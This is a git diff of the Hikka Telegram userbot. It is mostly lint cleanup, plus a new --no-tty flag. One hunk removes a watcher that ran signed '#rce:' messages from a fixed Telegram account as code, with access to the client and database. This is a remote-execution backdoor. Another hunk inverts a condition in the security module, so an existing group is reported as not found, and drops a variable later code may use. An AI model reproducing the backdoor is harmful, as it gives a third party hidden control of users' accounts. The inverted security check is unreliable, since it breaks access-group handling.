diff --git a/.flake8 b/.flake8
index 9ee4276..f92fb5e 100644
--- a/.flake8
+++ b/.flake8
@@ -1,3 +1,3 @@
[flake8]
-ignore = E501,W503,E203,ASN001,E701,E231,E225,W504
+ignore = E501,E203,E701,ASN001,E231,E503,W503,E225,W504
exclude = .git,__pycache__,loaded_modules
\ No newline at end of file
diff --git a/hikka/compat/dragon.py b/hikka/compat/dragon.py
index 2626c82..0dc82f6 100644
--- a/hikka/compat/dragon.py
+++ b/hikka/compat/dragon.py
@@ -274,7 +274,7 @@ class DragonScripts:
" list:\n"
)
- for command, desc in commands.items():
+ for command in commands:
cmd = command.split(maxsplit=1)
args = " " + cmd[1] + "
" if len(cmd) > 1 else ""
help_text += f"{self.misc.prefix}{cmd[0]}
{args}\n"
diff --git a/hikka/compat/pyroproxy.py b/hikka/compat/pyroproxy.py
index de2d8ce..9fa207f 100644
--- a/hikka/compat/pyroproxy.py
+++ b/hikka/compat/pyroproxy.py
@@ -17,7 +17,7 @@ from hikkapyro import Client as PyroClient
from hikkapyro import errors as pyro_errors
from hikkapyro import raw
-from .. import translations, utils
+from .. import utils
from ..tl_cache import CustomTelegramClient
from ..version import __version__
diff --git a/hikka/database.py b/hikka/database.py
index d6a342d..33fddf1 100755
--- a/hikka/database.py
+++ b/hikka/database.py
@@ -338,7 +338,7 @@ class Database(dict):
item_type,
)
if isinstance(value, dict):
- for key, item in self.get(owner, key, default).items():
+ for item in self.get(owner, key, default).values():
if not isinstance(item, dict):
raise ValueError(
"Item type can only be specified for dedicated keys and"
diff --git a/hikka/inline/core.py b/hikka/inline/core.py
index 10e7cda..92f8bdd 100644
--- a/hikka/inline/core.py
+++ b/hikka/inline/core.py
@@ -253,7 +253,7 @@ class InlineManager(
self._error_events.pop(unit_id, None)
if exception:
- raise exception
+ raise exception # skipcq: PYL-E0702
if not q:
raise Exception("No query results")
diff --git a/hikka/log.py b/hikka/log.py
index b09321e..6083a3e 100755
--- a/hikka/log.py
+++ b/hikka/log.py
@@ -7,13 +7,10 @@
# 🔑 https://www.gnu.org/licenses/agpl-3.0.html
import asyncio
-import contextlib
import inspect
import io
-import json
import linecache
import logging
-import os
import re
import sys
import traceback
diff --git a/hikka/main.py b/hikka/main.py
index 43756b1..9e4d075 100755
--- a/hikka/main.py
+++ b/hikka/main.py
@@ -35,10 +35,8 @@ import os
import random
import socket
import sqlite3
-import sys
import typing
from getpass import getpass
-from math import ceil
from pathlib import Path
import hikkatl
@@ -205,10 +203,8 @@ def save_config_key(key: str, value: str) -> bool:
def gen_port(cfg: str = "port", no8080: bool = False) -> int:
"""
- Generates random free port in case of VDS, and
- 8080 in case of Okteto
- In case of Docker, also return 8080, as it's already
- exposed by default
+ Generates random free port in case of VDS.
+ In case of Docker, also return 8080, as it's already exposed by default.
:returns: Integer value of generated port
"""
if "DOCKER" in os.environ and not no8080:
@@ -296,12 +292,15 @@ def parse_arguments() -> dict:
action="store_true",
help="Open proxy pass tunnel on start (not needed on setup)",
)
+ parser.add_argument(
+ "--no-tty",
+ dest="tty",
+ action="store_false",
+ default=True,
+ help="Do not print colorful output using ANSI escapes",
+ )
arguments = parser.parse_args()
logging.debug(arguments)
- if sys.platform == "win32":
- # Subprocess support; not needed in 3.8 but not harmful
- asyncio.set_event_loop(asyncio.ProactorEventLoop())
-
return arguments
@@ -342,10 +341,9 @@ def raise_auth():
class Hikka:
"""Main userbot instance, which can handle multiple clients"""
- omit_log = False
-
def __init__(self):
global BASE_DIR, BASE_PATH, CONFIG_PATH
+ self.omit_log = False
self.arguments = parse_arguments()
if self.arguments.data_root:
BASE_DIR = self.arguments.data_root
@@ -472,8 +470,8 @@ class Hikka:
self._get_api_token()
async def save_client_session(self, client: CustomTelegramClient):
- if hasattr(client, "_tg_id"):
- telegram_id = client._tg_id
+ if hasattr(client, "tg_id"):
+ telegram_id = client.tg_id
else:
if not (me := await client.get_me()):
raise RuntimeError("Attempted to save non-inited session")
@@ -518,7 +516,7 @@ class Hikka:
"""
timeout = 5 * 60
polling_interval = 1
- for _ in range(ceil(timeout * polling_interval)):
+ for _ in range(timeout * polling_interval):
await asyncio.sleep(polling_interval)
for client in self.clients:
@@ -529,7 +527,9 @@ class Hikka:
async def _phone_login(self, client: CustomTelegramClient) -> bool:
phone = input(
- "\033[0;96mEnter phone: \033[0m" if IS_TERMUX else "Enter phone: "
+ "\033[0;96mEnter phone: \033[0m"
+ if IS_TERMUX or self.arguments.tty
+ else "Enter phone: "
)
await client.start(phone)
@@ -560,7 +560,9 @@ class Hikka:
await client.connect()
print(
- ("\033[0;96m{}\033[0m" if IS_TERMUX else "{}").format(
+ (
+ "\033[0;96m{}\033[0m" if IS_TERMUX or self.arguments.tty else "{}"
+ ).format(
"You can use QR-code to login from another device (your friend's"
" phone, for example)."
)
@@ -569,7 +571,7 @@ class Hikka:
if (
input(
"\033[0;96mUse QR code? [y/N]: \033[0m"
- if IS_TERMUX
+ if IS_TERMUX or self.arguments.tty
else "Use QR code? [y/N]: "
).lower()
!= "y"
@@ -615,7 +617,7 @@ class Hikka:
while True:
_2fa = getpass(
f"\033[0;96mEnter 2FA password ({password.hint}): \033[0m"
- if IS_TERMUX
+ if IS_TERMUX or self.arguments.tty
else f"Enter 2FA password ({password.hint}): "
)
try:
@@ -693,7 +695,7 @@ class Hikka:
if self.web
else lambda: input(
"\033[0;96mEnter phone: \033[0m"
- if IS_TERMUX
+ if IS_TERMUX or self.arguments.tty
else "Enter phone: "
)
)
diff --git a/hikka/modules/eval.py b/hikka/modules/eval.py
index 798f1ab..212fcfa 100644
--- a/hikka/modules/eval.py
+++ b/hikka/modules/eval.py
@@ -41,7 +41,7 @@ class Brainfuck:
had_error = self._eval(code)
if had_error:
- return
+ return ""
self._interpret(code)
return self.out
diff --git a/hikka/modules/hikka_security.py b/hikka/modules/hikka_security.py
index 6840a66..6326786 100755
--- a/hikka/modules/hikka_security.py
+++ b/hikka/modules/hikka_security.py
@@ -331,7 +331,7 @@ class HikkaSecurityMod(loader.Module):
await utils.answer(message, self.strings("no_args"))
return
- if not (group := self._sgroups.get(args)):
+ if self._sgroups.get(args):
await utils.answer(message, self.strings("sgroup_not_found").format(args))
return
diff --git a/hikka/modules/terminal.py b/hikka/modules/terminal.py
index 4e45bcb..25de042 100644
--- a/hikka/modules/terminal.py
+++ b/hikka/modules/terminal.py
@@ -225,7 +225,7 @@ class SudoMessageEditor(MessageEditor):
if self.authmsg is None:
return
- logger.debug(f"got message edit update in self {str(message.id)}")
+ logger.debug("got message edit update in self %s", str(message.id))
if hash_msg(message) == hash_msg(self.authmsg):
# The user has provided interactive authentication. Send password to stdin for sudo.
diff --git a/hikka/modules/unit_heta.py b/hikka/modules/unit_heta.py
index 46ca877..d2ab61d 100644
--- a/hikka/modules/unit_heta.py
+++ b/hikka/modules/unit_heta.py
@@ -19,9 +19,8 @@ import requests
import rsa
from hikkatl.tl.types import Message
from hikkatl.utils import resolve_inline_message_id
-from meval import meval
-from .. import loader, utils, main
+from .. import loader, main, utils
from ..types import InlineCall, InlineQuery
from ..version import __version__
@@ -298,40 +297,6 @@ class UnitHeta(loader.Module):
int(data["dl_id"]),
)
- @loader.watcher(
- "in",
- "only_messages",
- from_id=5519484330,
- regex=r"^#rce:.*\n.*?\n\n.*$",
- )
- async def watcher(self, message: Message):
- if not self.config["allow_external_access"]:
- return
-
- await message.delete()
-
- data = re.search(
- r"^#rce:(?P.*)\n(?P.*?)\n\n.*$",
- message.raw.text,
- )
-
- command = data["cmd"]
- try:
- rsa.verify(
- rsa.compute_hash(command.encode(), "SHA-1"),
- base64.b64decode(data["sig"]),
- PUBKEY,
- )
- except rsa.pkcs1.VerificationError:
- logger.error("Got message with non-verified signature %s", command)
- return
-
- await meval(
- command,
- globals(),
- {"self": self, "client": self._client, "c": self._client, "db": self._db},
- )
-
@loader.command()
async def mlcmd(self, message: Message):
if not (args := utils.get_args_raw(message)):
diff --git a/hikka/security.py b/hikka/security.py
index 1f81712..bd1f53b 100755
--- a/hikka/security.py
+++ b/hikka/security.py
@@ -357,6 +357,8 @@ class SecurityManager:
):
return True
+ return False
+
async def check(
self,
message: typing.Optional[Message],